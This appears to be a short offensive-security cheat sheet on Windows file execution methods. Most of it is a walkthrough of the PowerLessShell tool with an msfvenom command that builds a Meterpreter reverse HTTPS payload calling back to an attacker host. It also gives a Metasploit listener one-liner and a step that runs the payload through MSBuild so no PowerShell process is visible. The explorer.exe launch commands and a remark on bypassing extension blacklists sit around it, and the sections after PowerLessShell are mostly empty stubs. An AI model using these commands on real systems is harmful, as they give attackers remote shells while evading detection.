File Execution Methods
Explorer
explorer.exe /root,"C:\Windows\System32\calc.exe"
explorer.exe /root,"C:\Windows\Temp\Shell.exe"PowerLessShell
PowerLessShell is a Python-based tool that generates malicious code to run on a target machine without showing an instance of the PowerShell process. PowerLessShell relies on abusing the Microsoft Build Engine (MSBuild), a platform for building Windows applications, to execute remote code.
GitHub: https://github.com/Mr-Un1k0d3r/PowerLessShell
After cloning the repository, generate a msfvenom payload as per the syntax shown below.
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=<IP> LPORT=445 -f psh-reflection > shell.ps1Set a Metasploit listener
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_winhttps; set lhost <IP>;set lport 445;exploit"From the PowerLessShell repository build the project file.
python2 PowerLessShell.py -type powershell -source ~/opt/shell.ps1 -output ~/opt/shell.csproj
After building completes, transfer the .csproj file to the target system. Then use the command below to execute. (Framework versions will vary).
Wait a short while...

Where we should land a shell.

Checking the running processes on the target system whilst the shell is active shows no PowerShell.exe processes' running.

Wmic
Rundll32
Regsvr32
Upload to target system and execute.
WScript
Wscript can be used to run vbs file's which can be executed within text files to bypass file extension blacklisting.
Shortcuts
<WIP>
Last updated